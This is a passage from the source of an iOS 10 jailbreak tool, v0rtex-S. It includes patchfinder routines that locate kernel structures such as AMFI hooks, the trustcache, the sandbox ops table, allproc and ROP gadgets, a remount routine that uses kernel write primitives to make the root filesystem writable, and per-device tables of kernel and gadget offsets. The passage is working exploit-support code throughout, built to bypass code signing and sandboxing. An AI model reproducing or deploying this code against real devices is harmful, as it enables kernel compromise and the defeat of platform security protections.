pstring_base; 684 | size = pstring_size; 685 | } 686 | str = boyermoore_horspool_memmem(kernel + base, size, (uint8_t *)string, strlen(string)); 687 | if (!str) { 688 | return 0; 689 | } 690 | return find_reference(str - kernel + kerndumpbase, n, prelink); 691 | } 692 | 693 | addr_t 694 | find_gPhysBase(void) 695 | { 696 | addr_t ret, val; 697 | addr_t ref = find_strref("\"pmap_map_high_window_bd: insufficient pages", 1, 0); 698 | if (!ref) { 699 | return 0; 700 | } 701 | ref -= kerndumpbase; 702 | ret = step64(kernel, ref, 64, INSN_RET); 703 | if (!ret) { 704 | return 0; 705 | } 706 | val = calc64(kernel, ref, ret, 8); 707 | if (!val) { 708 | return 0; 709 | } 710 | return val + kerndumpbase; 711 | } 712 | 713 | addr_t 714 | find_kernel_pmap(void) 715 | { 716 | addr_t call, bof, val; 717 | addr_t ref = find_strref("\"pmap_map_bd\"", 1, 0); 718 | if (!ref) { 719 | return 0; 720 | } 721 | ref -= kerndumpbase; 722 | call = step64_back(kernel, ref, 64, INSN_CALL); 723 | if (!call) { 724 | return 0; 725 | } 726 | bof = bof64(kernel, xnucore_base, call); 727 | if (!bof) { 728 | return 0; 729 | } 730 | val = calc64(kernel, bof, call, 2); 731 | if (!val) { 732 | return 0; 733 | } 734 | return val + kerndumpbase; 735 | } 736 | 737 | addr_t 738 | find_amfiret(void) 739 | { 740 | addr_t ret; 741 | addr_t ref = find_strref("AMFI: hook..execve() killing pid %u: %s\n", 1, 1); 742 | if (!ref) { 743 | return 0; 744 | } 745 | ref -= kerndumpbase; 746 | ret = step64(kernel, ref, 512, INSN_RET); 747 | if (!ret) { 748 | return 0; 749 | } 750 | return ret + kerndumpbase; 751 | } 752 | 753 | addr_t 754 | find_ret_0(void) 755 | { 756 | addr_t off; 757 | uint32_t *k; 758 | k = (uint32_t *)(kernel + xnucore_base); 759 | for (off = 0; off < xnucore_size - 4; off += 4, k++) { 760 | if (k[0] == 0xAA1F03E0 && k[1] == 0xD65F03C0) { 761 | return off + xnucore_base + kerndumpbase; 762 | } 763 | } 764 | k = (uint32_t *)(kernel + prelink_base); 765 | for (off = 0; off < prelink_size - 4; off += 4, k++) { 766 | if (k[0] == 0xAA1F03E0 && k[1] == 0xD65F03C0) { 767 | return off + prelink_base + kerndumpbase; 768 | } 769 | } 770 | return 0; 771 | } 772 | 773 | addr_t 774 | find_amfi_memcmpstub(void) 775 | { 776 | addr_t call, dest, reg; 777 | addr_t ref = find_strref("%s: Possible race detected. Rejecting.", 1, 1); 778 | if (!ref) { 779 | return 0; 780 | } 781 | ref -= kerndumpbase; 782 | call = step64_back(kernel, ref, 64, INSN_CALL); 783 | if (!call) { 784 | return 0; 785 | } 786 | dest = follow_call64(kernel, call); 787 | if (!dest) { 788 | return 0; 789 | } 790 | reg = calc64(kernel, dest, dest + 8, 16); 791 | if (!reg) { 792 | return 0; 793 | } 794 | return reg + kerndumpbase; 795 | } 796 | 797 | addr_t 798 | find_sbops(void) 799 | { 800 | addr_t off, what; 801 | uint8_t *str = boyermoore_horspool_memmem(kernel + pstring_base, pstring_size, (uint8_t *)"Seatbelt sandbox policy", sizeof("Seatbelt sandbox policy") - 1); 802 | if (!str) { 803 | return 0; 804 | } 805 | what = str - kernel + kerndumpbase; 806 | for (off = 0; off < kernel_size - prelink_base; off += 8) { 807 | if (*(uint64_t *)(kernel + prelink_base + off) == what) { 808 | return *(uint64_t *)(kernel + prelink_base + off + 24); 809 | } 810 | } 811 | return 0; 812 | } 813 | 814 | addr_t 815 | find_lwvm_mapio_patch(void) 816 | { 817 | addr_t call, dest, reg; 818 | addr_t ref = find_strref("_mapForIO", 1, 1); 819 | if (!ref) { 820 | return 0; 821 | } 822 | ref -= kerndumpbase; 823 | call = step64(kernel, ref, 64, INSN_CALL); 824 | if (!call) { 825 | return 0; 826 | } 827 | call = step64(kernel, call + 4, 64, INSN_CALL); 828 | if (!call) { 829 | return 0; 830 | } 831 | dest = follow_call64(kernel, call); 832 | if (!dest) { 833 | return 0; 834 | } 835 | reg = calc64(kernel, dest, dest + 8, 16); 836 | if (!reg) { 837 | return 0; 838 | } 839 | return reg + kerndumpbase; 840 | } 841 | 842 | addr_t 843 | find_lwvm_mapio_newj(void) 844 | { 845 | addr_t call; 846 | addr_t ref = find_strref("_mapForIO", 1, 1); 847 | if (!ref) { 848 | return 0; 849 | } 850 | ref -= kerndumpbase; 851 | call = step64(kernel, ref, 64, INSN_CALL); 852 | if (!call) { 853 | return 0; 854 | } 855 | call = step64(kernel, call + 4, 64, INSN_CALL); 856 | if (!call) { 857 | return 0; 858 | } 859 | call = step64(kernel, call + 4, 64, INSN_CALL); 860 | if (!call) { 861 | return 0; 862 | } 863 | call = step64_back(kernel, call, 64, INSN_B); 864 | if (!call) { 865 | return 0; 866 | } 867 | return call + 4 + kerndumpbase; 868 | } 869 | 870 | addr_t 871 | find_cpacr_write(void) 872 | { 873 | addr_t off; 874 | uint32_t *k; 875 | k = (uint32_t *)(kernel + xnucore_base); 876 | for (off = 0; off < xnucore_size - 4; off += 4, k++) { 877 | if (k[0] == 0xd5181040) { 878 | return off + xnucore_base + kerndumpbase; 879 | } 880 | } 881 | return 0; 882 | } 883 | 884 | addr_t 885 | find_str(const char *string) 886 | { 887 | uint8_t *str = boyermoore_horspool_memmem(kernel, kernel_size, (uint8_t *)string, strlen(string)); 888 | if (!str) { 889 | return 0; 890 | } 891 | return str - kernel + kerndumpbase; 892 | } 893 | 894 | addr_t 895 | find_entry(void) 896 | { 897 | /* XXX returns an unslid address */ 898 | return kernel_entry; 899 | } 900 | 901 | const unsigned char * 902 | find_mh(void) 903 | { 904 | return kernel_mh; 905 | } 906 | 907 | addr_t 908 | find_amfiops(void) 909 | { 910 | addr_t off, what; 911 | uint8_t *str = boyermoore_horspool_memmem(kernel + pstring_base, pstring_size, (uint8_t *)"Apple Mobile File Integrity", sizeof("Apple Mobile File Integrity") - 1); 912 | if (!str) { 913 | return 0; 914 | } 915 | what = str - kernel + kerndumpbase; 916 | /* XXX will only work on a dumped kernel */ 917 | for (off = 0; off < kernel_size - prelink_base; off += 8) { 918 | if (*(uint64_t *)(kernel + prelink_base + off) == what) { 919 | return *(uint64_t *)(kernel + prelink_base + off + 0x18); 920 | } 921 | } 922 | return 0; 923 | } 924 | 925 | addr_t 926 | find_sysbootnonce(void) 927 | { 928 | addr_t off, what; 929 | uint8_t *str = boyermoore_horspool_memmem(kernel + cstring_base, cstring_size, (uint8_t *)"com.apple.System.boot-nonce", sizeof("com.apple.System.boot-nonce") - 1); 930 | if (!str) { 931 | return 0; 932 | } 933 | what = str - kernel + kerndumpbase; 934 | for (off = 0; off < kernel_size - xnucore_base; off += 8) { 935 | if (*(uint64_t *)(kernel + xnucore_base + off) == what) { 936 | return xnucore_base + off + 8 + 4 + kerndumpbase; 937 | } 938 | } 939 | return 0; 940 | } 941 | 942 | uint64_t find_copyout(void) { 943 | // Find the first reference to the string 944 | addr_t ref = find_strref("\"%s(%p, %p, %lu) - transfer too large\"", 2, 0); 945 | if (!ref) { 946 | return 0; 947 | } 948 | ref -= kerndumpbase; 949 | 950 | uint64_t start = 0; 951 | for (int i = 4; i < 0x100*4; i+=4) { 952 | uint32_t op = *(uint32_t*)(kernel+ref-i); 953 | if (op == 0xd10143ff) { // SUB SP, SP, #0x50 954 | start = ref-i; 955 | break; 956 | } 957 | } 958 | if (!start) { 959 | return 0; 960 | } 961 | 962 | return start + kerndumpbase; 963 | } 964 | 965 | uint64_t find_bzero(void) { 966 | // Just find SYS #3, c7, c4, #1, X3, then get the start of that function 967 | addr_t off; 968 | uint32_t *k; 969 | k = (uint32_t *)(kernel + xnucore_base); 970 | for (off = 0; off < xnucore_size - 4; off += 4, k++) { 971 | if (k[0] == 0xd50b7423) { 972 | off += xnucore_base; 973 | break; 974 | } 975 | } 976 | 977 | uint64_t start = bof64(kernel, xnucore_base, off); 978 | if (!start) { 979 | return 0; 980 | } 981 | 982 | return start + kerndumpbase; 983 | } 984 | 985 | addr_t find_bcopy(void) { 986 | // Jumps straight into memmove after switching x0 and x1 around 987 | // Guess we just find the switch and that's it 988 | addr_t off; 989 | uint32_t *k; 990 | k = (uint32_t *)(kernel + xnucore_base); 991 | for (off = 0; off < xnucore_size - 4; off += 4, k++) { 992 | if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) { 993 | return off + xnucore_base + kerndumpbase; 994 | } 995 | } 996 | k = (uint32_t *)(kernel + prelink_base); 997 | for (off = 0; off < prelink_size - 4; off += 4, k++) { 998 | if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) { 999 | return off + prelink_base + kerndumpbase; 1000 | } 1001 | } 1002 | return 0; 1003 | } 1004 | 1005 | addr_t find_trustcache(void) { 1006 | addr_t call, func, val; 1007 | addr_t ref = find_strref("com.apple.MobileFileIntegrity", 1, 1); 1008 | if (!ref) { 1009 | printf("didnt find string ref\n"); 1010 | return 0; 1011 | } 1012 | ref -= kerndumpbase; 1013 | call = step64(kernel, ref, 32, INSN_CALL); 1014 | if (!call) { 1015 | printf("couldn't find the call\n"); 1016 | return 0; 1017 | } 1018 | call = step64(kernel, call+4, 32, INSN_CALL); 1019 | func = follow_call64(kernel, call); 1020 | if (!func) { 1021 | printf("couldn't follow the call\n"); 1022 | return 0; 1023 | } 1024 | val = calc64(kernel, func, func + 16, 8); 1025 | if (!val) { 1026 | return 0; 1027 | } 1028 | return val + kerndumpbase; 1029 | } 1030 | 1031 | addr_t find_amficache(void) { 1032 | addr_t call, func, bof, val; 1033 | addr_t ref = find_strref("com.apple.MobileFileIntegrity", 1, 1); 1034 | if (!ref) { 1035 | printf("didnt find string ref\n"); 1036 | return 0; 1037 | } 1038 | ref -= kerndumpbase; 1039 | call = step64(kernel, ref, 32, INSN_CALL); 1040 | if (!call) { 1041 | printf("couldn't find the call\n"); 1042 | return 0; 1043 | } 1044 | call = step64(kernel, call+4, 32, INSN_CALL); 1045 | func = follow_call64(kernel, call); 1046 | if (!func) { 1047 | printf("couldn't follow the call\n"); 1048 | return 0; 1049 | } 1050 | bof = bof64(kernel, func - 256, func); 1051 | if (!bof) { 1052 | printf("couldn't find the start of the function\n"); 1053 | return 0; 1054 | } 1055 | val = calc64(kernel, bof, func, 9); 1056 | if (!val) { 1057 | printf("couldn't find x9\n"); 1058 | return 0; 1059 | } 1060 | return val + kerndumpbase; 1061 | } 1062 | 1063 | // #ifdef HAVE_MAIN 1064 | 1065 | /* extra_recipe **************************************************************/ 1066 | 1067 | #define INSN_STR8 0xF9000000 | 8, 0xFFC00000 | 0x1F 1068 | 1069 | addr_t 1070 | find_AGXCommandQueue_vtable(void) 1071 | { 1072 | addr_t val, str8; 1073 | addr_t ref = find_strref("AGXCommandQueue", 1, 1); 1074 | if (!ref) { 1075 | return 0; 1076 | } 1077 | val = find_register_value(ref, 0); 1078 | if (!val) { 1079 | return 0; 1080 | } 1081 | ref = find_reference(val, 1, 1); 1082 | if (!ref) { 1083 | return 0; 1084 | } 1085 | ref -= kerndumpbase; 1086 | str8 = step64(kernel, ref, 32, INSN_STR8); 1087 | if (!str8) { 1088 | return 0; 1089 | } 1090 | val = calc64(kernel, ref, str8, 8); 1091 | if (!val) { 1092 | return 0; 1093 | } 1094 | return val + kerndumpbase; 1095 | } 1096 | 1097 | addr_t 1098 | find_allproc(void) 1099 | { 1100 | addr_t val, bof, str8; 1101 | addr_t ref = find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0); 1102 | if (!ref) { 1103 | return 0; 1104 | } 1105 | ref -= kerndumpbase; 1106 | bof = bof64(kernel, xnucore_base, ref); 1107 | if (!bof) { 1108 | return 0; 1109 | } 1110 | str8 = step64_back(kernel, ref, ref - bof, INSN_STR8); 1111 | if (!str8) { 1112 | return 0; 1113 | } 1114 | val = calc64(kernel, bof, str8, 8); 1115 | if (!val) { 1116 | return 0; 1117 | } 1118 | return val + kerndumpbase; 1119 | } 1120 | 1121 | addr_t 1122 | find_call5(void) 1123 | { 1124 | addr_t bof; 1125 | uint8_t gadget[] = { 0x95, 0x5A, 0x40, 0xF9, 0x68, 0x02, 0x40, 0xF9, 0x88, 0x5A, 0x00, 0xF9, 0x60, 0xA2, 0x40, 0xA9 }; 1126 | uint8_t *str = boyermoore_horspool_memmem(kernel + prelink_base, prelink_size, gadget, sizeof(gadget)); 1127 | if (!str) { 1128 | return 0; 1129 | } 1130 | bof = bof64(kernel, prelink_base, str - kernel); 1131 | if (!bof) { 1132 | return 0; 1133 | } 1134 | return bof + kerndumpbase; 1135 | } 1136 | 1137 | addr_t 1138 | find_realhost(addr_t priv) 1139 | { 1140 | addr_t val; 1141 | if (!priv) { 1142 | return 0; 1143 | } 1144 | priv -= kerndumpbase; 1145 | val = calc64(kernel, priv, priv + 12, 0); 1146 | if (!val) { 1147 | return 0; 1148 | } 1149 | return val + kerndumpbase; 1150 | } 1151 | 1152 | #include 1153 | 1154 | addr_t 1155 | find_symbol(const char *symbol) 1156 | { 1157 | unsigned i; 1158 | const struct mach_header *hdr = kernel_mh; 1159 | const uint8_t *q; 1160 | int is64 = 0; 1161 | 1162 | if (IS64(hdr)) { 1163 | is64 = 4; 1164 | } 1165 | 1166 | /* XXX will only work on a decrypted kernel */ 1167 | if (!kernel_delta) { 1168 | return 0; 1169 | } 1170 | 1171 | /* XXX I should cache these. ohwell... */ 1172 | q = (uint8_t *)(hdr + 1) + is64; 1173 | for (i = 0; i < hdr->ncmds; i++) { 1174 | const struct load_command *cmd = (struct load_command *)q; 1175 | if (cmd->cmd == LC_SYMTAB) { 1176 | const struct symtab_command *sym = (struct symtab_command *)q; 1177 | const char *stroff = (const char *)kernel + sym->stroff + kernel_delta; 1178 | if (is64) { 1179 | uint32_t k; 1180 | const struct nlist_64 *s = (struct nlist_64 *)(kernel + sym->symoff + kernel_delta); 1181 | for (k = 0; k < sym->nsyms; k++) { 1182 | if (s[k].n_type & N_STAB) { 1183 | continue; 1184 | } 1185 | if (s[k].n_value && (s[k].n_type & N_TYPE) != N_INDR) { 1186 | if (!strcmp(symbol, stroff + s[k].n_un.n_strx)) { 1187 | /* XXX this is an unslid address */ 1188 | return s[k].n_value; 1189 | } 1190 | } 1191 | } 1192 | } 1193 | } 1194 | q = q + cmd->cmdsize; 1195 | } 1196 | return 0; 1197 | } 1198 | 1199 | /* test **********************************************************************/ 1200 | 1201 | /* 1202 | int 1203 | main(int argc, char **argv) 1204 | { 1205 | int rv; 1206 | addr_t base = 0; 1207 | const addr_t vm_kernel_slide = 0; 1208 | rv = init_kernel(base, (argc > 1) ? argv[1] : "krnl"); 1209 | assert(rv == 0); 1210 | 1211 | addr_t AGXCommandQueue_vtable = find_AGXCommandQueue_vtable(); 1212 | printf("\t\t\t0x%llx\n", AGXCommandQueue_vtable - vm_kernel_slide); 1213 | addr_t OSData_getMetaClass = find_symbol("__ZNK6OSData12getMetaClassEv"); 1214 | printf("\t\t\t0x%llx\n", OSData_getMetaClass); 1215 | addr_t OSSerializer_serialize = find_symbol("__ZNK12OSSerializer9serializeEP11OSSerialize"); 1216 | printf("\t\t\t0x%llx\n", OSSerializer_serialize); 1217 | addr_t k_uuid_copy = find_symbol("_uuid_copy"); 1218 | printf("\t\t\t0x%llx\n", k_uuid_copy); 1219 | addr_t allproc = find_allproc(); 1220 | printf("\t\t\t0x%llx\n", allproc); 1221 | addr_t realhost = find_realhost(find_symbol("_host_priv_self") + vm_kernel_slide); 1222 | printf("\t\t\t0x%llx\n", realhost - vm_kernel_slide); 1223 | addr_t call5 = find_call5(); 1224 | printf("\t\t\t0x%llx\n", call5 - vm_kernel_slide); 1225 | 1226 | assert(find_symbol("_rootvnode") == find_gPhysBase() + 0x38 - vm_kernel_slide); 1227 | 1228 | term_kernel(); 1229 | return 0; 1230 | }*/ 1231 | 1232 | // #endif /* HAVE_MAIN */ 1233 | -------------------------------------------------------------------------------- /v0rtex-S/patchfinder64.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCHFINDER64_H_ 2 | #define PATCHFINDER64_H_ 3 | 4 | #import "common.h" 5 | #import 6 | 7 | int init_patchfinder(task_t tfp0, uint64_t base, const char *filename); 8 | void term_kernel(void); 9 | 10 | enum { SearchInCore, SearchInPrelink }; 11 | 12 | uint64_t find_register_value(uint64_t where, int reg); 13 | uint64_t find_reference(uint64_t to, int n, int prelink); 14 | uint64_t find_strref(const char *string, int n, int prelink); 15 | uint64_t find_gPhysBase(void); 16 | uint64_t find_kernel_pmap(void); 17 | uint64_t find_amfiret(void); 18 | uint64_t find_ret_0(void); 19 | uint64_t find_amfi_memcmpstub(void); 20 | uint64_t find_sbops(void); 21 | uint64_t find_lwvm_mapio_patch(void); 22 | uint64_t find_lwvm_mapio_newj(void); 23 | 24 | uint64_t find_entry(void); 25 | const unsigned char *find_mh(void); 26 | 27 | uint64_t find_cpacr_write(void); 28 | uint64_t find_str(const char *string); 29 | uint64_t find_amfiops(void); 30 | uint64_t find_sysbootnonce(void); 31 | uint64_t find_trustcache(void); 32 | uint64_t find_amficache(void); 33 | 34 | uint64_t find_allproc(void); 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /v0rtex-S/root-rw.h: -------------------------------------------------------------------------------- 1 | // 2 | // root-rw.h 3 | // v0rtex-s 4 | // 5 | // Created by Ben on 16/12/2017. 6 | // Copyright © 2017 Sticktron. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | 12 | int mount_root(task_t tfp0, uint64_t kslide); 13 | -------------------------------------------------------------------------------- /v0rtex-S/root-rw.m: -------------------------------------------------------------------------------- 1 | // 2 | // root-rw.m 3 | // v0rtex 4 | // 5 | // Created by Ben on 16/12/2017. 6 | // Copyright © 2017 Sticktron. All rights reserved. 7 | // 8 | 9 | #include "root-rw.h" 10 | #include "kernel.h" 11 | #include "symbols.h" 12 | 13 | // For '/' remount (not offsets) 14 | #define KSTRUCT_OFFSET_MOUNT_MNT_FLAG 0x70 15 | #define KSTRUCT_OFFSET_VNODE_V_UN 0xd8 16 | 17 | // props to xerub for the original '/' r/w remount code 18 | int mount_root(task_t tfp0, uint64_t kslide) { 19 | uint64_t _rootnode = OFFSET_ROOT_MOUNT_V_NODE + kslide; 20 | uint64_t rootfs_vnode = rk64(_rootnode); 21 | 22 | // read the original flags 23 | uint64_t v_mount = rk64(rootfs_vnode + KSTRUCT_OFFSET_VNODE_V_UN); 24 | uint32_t v_flag = rk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG + 1); 25 | 26 | // unset rootfs flag 27 | wk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG + 1, v_flag & ~(MNT_ROOTFS >> 8)); 28 | 29 | // remount 30 | char *nmz = strdup("/dev/disk0s1s1"); 31 | kern_return_t rv = mount("hfs", "/", MNT_UPDATE, (void *)&nmz); 32 | 33 | // set original flags back 34 | v_mount = rk64(rootfs_vnode + KSTRUCT_OFFSET_VNODE_V_UN); 35 | wk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG + 1, v_flag); 36 | 37 | return rv; 38 | } 39 | -------------------------------------------------------------------------------- /v0rtex-S/symbols.h: -------------------------------------------------------------------------------- 1 | // 2 | // symbols.h 3 | // v0rtex-s 4 | // 5 | // Created by Ben on 16/12/2017. 6 | // Copyright © 2017 Sticktron. All rights reserved. 7 | // 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "common.h" 14 | 15 | extern uint64_t OFFSET_ZONE_MAP; 16 | extern uint64_t OFFSET_KERNEL_MAP; 17 | extern uint64_t OFFSET_KERNEL_TASK; 18 | extern uint64_t OFFSET_REALHOST; 19 | extern uint64_t OFFSET_BZERO; 20 | extern uint64_t OFFSET_BCOPY; 21 | extern uint64_t OFFSET_COPYIN; 22 | extern uint64_t OFFSET_COPYOUT; 23 | extern uint64_t OFFSET_CHGPROCCNT; 24 | extern uint64_t OFFSET_KAUTH_CRED_REF; 25 | extern uint64_t OFFSET_IPC_PORT_ALLOC_SPECIAL; 26 | extern uint64_t OFFSET_IPC_KOBJECT_SET; 27 | extern uint64_t OFFSET_IPC_PORT_MAKE_SEND; 28 | extern uint64_t OFFSET_IOSURFACEROOTUSERCLIENT_VTAB; 29 | extern uint64_t OFFSET_OSSERIALIZER_SERIALIZE; 30 | extern uint64_t OFFSET_ROP_LDR_X0_X0_0x10; 31 | extern uint64_t OFFSET_ROP_ADD_X0_X0_0x10; 32 | extern uint64_t OFFSET_ROOT_MOUNT_V_NODE; 33 | 34 | BOOL init_symbols(void); 35 | -------------------------------------------------------------------------------- /v0rtex-S/symbols.m: -------------------------------------------------------------------------------- 1 | // 2 | // symbols.m 3 | // v0rtex 4 | // 5 | // Created by Ben on 16/12/2017. 6 | // Copyright © 2017 Sticktron. All rights reserved. 7 | // 8 | 9 | #include 10 | #include "symbols.h" 11 | #include "common.h" 12 | 13 | uint64_t OFFSET_ZONE_MAP; 14 | uint64_t OFFSET_KERNEL_MAP; 15 | uint64_t OFFSET_KERNEL_TASK; 16 | uint64_t OFFSET_REALHOST; 17 | uint64_t OFFSET_BZERO; 18 | uint64_t OFFSET_BCOPY; 19 | uint64_t OFFSET_COPYIN; 20 | uint64_t OFFSET_COPYOUT; 21 | uint64_t OFFSET_CHGPROCCNT; 22 | uint64_t OFFSET_KAUTH_CRED_REF; 23 | uint64_t OFFSET_IPC_PORT_ALLOC_SPECIAL; 24 | uint64_t OFFSET_IPC_KOBJECT_SET; 25 | uint64_t OFFSET_IPC_PORT_MAKE_SEND; 26 | uint64_t OFFSET_IOSURFACEROOTUSERCLIENT_VTAB; 27 | uint64_t OFFSET_OSSERIALIZER_SERIALIZE; 28 | uint64_t OFFSET_ROP_LDR_X0_X0_0x10; 29 | uint64_t OFFSET_ROP_ADD_X0_X0_0x10; 30 | uint64_t OFFSET_ROOT_MOUNT_V_NODE; 31 | 32 | #import 33 | 34 | BOOL init_symbols() 35 | { 36 | NSString *ver = [[NSProcessInfo processInfo] operatingSystemVersionString]; 37 | 38 | struct utsname u; 39 | uname(&u); 40 | 41 | LOG("Device: %s", u.machine); 42 | LOG("Device Name: %s", u.nodename); 43 | LOG("Device iOS Version: %@", ver); 44 | 45 | // iPhone 7 46 | if (strcmp(u.machine, "iPhone9,1") == 0) 47 | { 48 | if ([ver isEqual: @"Version 10.3.1 (Build 14E304)"]) 49 | { 50 | OFFSET_ZONE_MAP = 0xfffffff007590478; 51 | OFFSET_KERNEL_MAP = 0xfffffff0075ec050; 52 | OFFSET_KERNEL_TASK = 0xfffffff0075ec048; 53 | OFFSET_REALHOST = 0xfffffff007572ba0; 54 | OFFSET_BZERO = 0xfffffff0070c1f80; 55 | OFFSET_BCOPY = 0xfffffff0070c1dc0; 56 | OFFSET_COPYIN = 0xfffffff0071c6134; 57 | OFFSET_COPYOUT = 0xfffffff0071c6414; 58 | OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075ec0b0; 59 | OFFSET_CHGPROCCNT = 0xfffffff0073d366c; 60 | OFFSET_KAUTH_CRED_REF = 0xfffffff0073ada04; 61 | OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070df05c; 62 | OFFSET_IPC_KOBJECT_SET = 0xfffffff0070f22b4; 63 | OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070deb80; 64 | OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e4a238; 65 | OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0063c9398; 66 | OFFSET_OSSERIALIZER_SERIALIZE = 0xfffffff007486530; 67 | OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff006314a84; 68 | return TRUE; 69 | } 70 | 71 | if ([ver isEqual: @"Version 10.1.1 (Build 14B100)"]) 72 | { 73 | OFFSET_ZONE_MAP = 0xfffffff0070c8090; 74 | OFFSET_KERNEL_MAP = 0xfffffff0075f6058; 75 | OFFSET_KERNEL_TASK = 0xfffffff0075f6050; 76 | OFFSET_REALHOST = 0xfffffff00757c898; 77 | OFFSET_BZERO = 0xfffffff0070c2140; 78 | OFFSET_BCOPY = 0xfffffff0070c1f80; 79 | OFFSET_COPYIN = 0xfffffff0071c890c; 80 | OFFSET_COPYOUT = 0xfffffff0071c8bec; 81 | OFFSET_CHGPROCCNT = 0xfffffff0073dc328; 82 | OFFSET_KAUTH_CRED_REF = 0xfffffff0073b61b8; 83 | OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070deb2c; 84 | OFFSET_IPC_KOBJECT_SET = 0xfffffff0070f1d14; 85 | OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070de7e0; 86 | OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e521e0; 87 | OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0063ed29c; 88 | OFFSET_OSSERIALIZER_SERIALIZE = 0xfffffff0074916b4; 89 | OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff006338ab8; 90 | OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075f60b8; 91 | return TRUE; 92 | } 93 | } 94 | 95 | // iPhone 7 96 | if (strcmp(u.machine, "iPhone9,3") == 0) 97 | { 98 | if ([ver isEqual: @"Version 10.3.1 (Build 14E304)"]) 99 | { 100 | OFFSET_ZONE_MAP = 0xfffffff007590478; 101 | OFFSET_KERNEL_MAP = 0xfffffff0075ec050; 102 | OFFSET_KERNEL_TASK = 0xfffffff0075ec048; 103 | OFFSET_REALHOST = 0xfffffff007572ba0; 104 | OFFSET_BZERO = 0xfffffff0070c1f80; 105 | OFFSET_BCOPY = 0xfffffff0070c1dc0; 106 | OFFSET_COPYIN = 0xfffffff0071c6134; 107 | OFFSET_COPYOUT = 0xfffffff0071c6414; 108 | OFFSET_CHGPROCCNT = 0xfffffff007049e4b; 109 | OFFSET_KAUTH_CRED_REF = 0xfffffff0073ada04; 110 | OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070df05c; 111 | OFFSET_IPC_KOBJECT_SET = 0xfffffff0070f22b4; 112 | OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070deb80; 113 | OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e4a238; 114 | OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064ff0a8; 115 | OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff0074cf02c; 116 | OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075ec0b0; 117 | return TRUE; 118 | } 119 | } 120 | 121 | // iPhone 6S 122 | if (strcmp(u.machine, "iPhone8,1") == 0) 123 | { 124 | if ([ver isEqual: @"Version 10.3.3 (Build 14G60)"]) 125 | { 126 | OFFSET_ZONE_MAP = 0xfffffff007548478; 127 | OFFSET_KERNEL_MAP = 0xfffffff0075a4050; 128 | OFFSET_KERNEL_TASK = 0xfffffff0075a4048; 129 | OFFSET_REALHOST = 0xfffffff00752aba0; 130 | OFFSET_BZERO = 0xfffffff007081f80; 131 | OFFSET_BCOPY = 0xfffffff007081dc0; 132 | OFFSET_COPYIN = 0xfffffff0071803a0; 133 | OFFSET_COPYOUT = 0xfffffff007180594; 134 | OFFSET_CHGPROCCNT = 0xfffffff007049e01; 135 | OFFSET_KAUTH_CRED_REF = 0xfffffff007367c18; 136 | OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94; 137 | OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c; 138 | OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8; 139 | OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e7c9f8; 140 | OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006462174; 141 | OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff0073690d8; 142 | OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0; 143 | return TRUE; 144 | } 145 | 146 | if ([ver isEqual: @"Version 10.3.2 (Build 14F89)"]) 147 | { 148 | OFFSET_ZONE_MAP = 0xfffffff007548478; 149 | OFFSET_KERNEL_MAP = 0xfffffff0075a4050; 150 | OFFSET_KERNEL_TASK = 0xfffffff0075a4048; 151 | OFFSET_REALHOST = 0xfffffff00752aba0; 152 | OFFSET_BZERO = 0xfffffff007081f80; 153 | OFFSET_BCOPY = 0xfffffff007081dc0; 154 | OFFSET_COPYIN = 0xfffffff0071806f4; 155 | OFFSET_COPYOUT = 0xfffffff0071808e8; 156 | OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94; 157 | OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c; 158 | OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8; 159 | OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e7c9f8; 160 | OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff006b916b8; 161 | OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075ec0b0; 162 | return TRUE; 163 | } 164 | } 165 | 166 | // iPhone 5S 167 | if (strcmp(u.machine, "iPhone6,1") == 0) 168 | { 169 | if ([ver isEqual: @"Version 10.3.3 (Build 14G60)"]) 170 | { 171 | OFFSET_ZONE_MAP = 0xfffffff00754c478; 172 | OFFSET_KERNEL_MAP = 0xfffffff0075a8050; 173 | OFFSET_KERNEL_TASK = 0xfffffff0075a8048; 174 | OFFSET_REALHOST = 0xfffffff00752eba0; 175 | OFFSET_BZERO = 0xfffffff007081f80; 176 | OFFSET_BCOPY = 0xfffffff007081dc0; 177 | OFFSET_COPYIN = 0xfffffff007180e98; 178 